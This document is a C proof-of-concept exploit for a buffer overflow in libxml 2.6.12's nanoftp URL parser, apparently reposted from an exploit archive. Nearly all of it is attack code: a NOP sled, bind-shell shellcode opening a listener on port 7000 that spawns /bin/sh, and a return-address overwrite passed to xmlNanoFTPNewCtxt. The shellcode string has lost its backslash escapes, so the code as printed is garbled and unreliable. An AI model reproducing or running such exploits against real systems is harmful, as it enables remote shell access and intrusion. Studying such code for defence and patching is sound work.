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代码:
/*
* libxml 2.6.12 nanoftp bof POC infamous42mdAThotpopDOTcom
*
* [n00b localho outernet] gcc -Wall libsuxml.c -lxml2
* [n00b localho outernet] ./a.out
* Usage: ./a.out <retaddr> [ align ]
* [n00b localho outernet] netstat -ant | grep 7000
* [n00b localho outernet] ./a.out 0xbfff0360
* xmlNanoFTPScanURL: Use [IPv6]/IPv4 format
* [n00b localho outernet] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <libxml/nanoftp.h>
#define die(x) do{ perror((x)); exit(1); }while(0)
#define BS 0x10000
#define NOP 0x90
#define NNOPS 3000
#define ALIGN 0
/* call them */
#define SHELL_LEN (sizeof(sc)-1)
char sc[] =
"x31xc0x50x50x66xc7x44x24x02x1bx58xc6x04x24x02x89xe6"
"xb0x02xcdx80x85xc0x74x08x31xc0x31xdbxb0x01xcdx80x50"
"x6ax01x6ax02x89xe1x31xdbxb0x66xb3x01xcdx80x89xc5x6a"
"x10x56x50x89xe1xb0x66xb3x02xcdx80x6ax01x55x89xe1x31"
"xc0x31xdbxb0x66xb3x04xcdx80x31xc0x50x50x55x89xe1xb0"
"x66xb3x05xcdx80x89xc5x31xc0x89xebx31xc9xb0x3fxcdx80"
"x41x80xf9x03x7cxf6x31xc0x50x68x2fx2fx73x68x68x2fx62"
"x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
/*
*/
int main(int argc, char **argv)
{
int x = 0, len = 0;
char buf[BS] = {'A',};
long retaddr = 0, align = ALIGN;
if(argc < 2){
fprintf(stderr, "Usage: %s <retaddr> [ align ]n", argv[0]);
return EXIT_FAILURE;
}
if(sscanf(argv[1], "%lx", &retaddr) != 1)
die("sscanf");
if(argc > 2)
align = atoi(argv[2]);
if(align < 0 || align > 3)
die("nice try newblar");
strncpy(buf, "://[", 4);
len += 4;
memset(buf+len, NOP, NNOPS);
len += NNOPS;
memcpy(buf+len, sc, SHELL_LEN);
len += SHELL_LEN;
len += align;
for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr))
memcpy(buf+len+x, &retaddr, sizeof(retaddr));
buf[len+x] = ']';
buf[len+x+1] = 0;
xmlNanoFTPNewCtxt(buf);
return EXIT_SUCCESS;
}
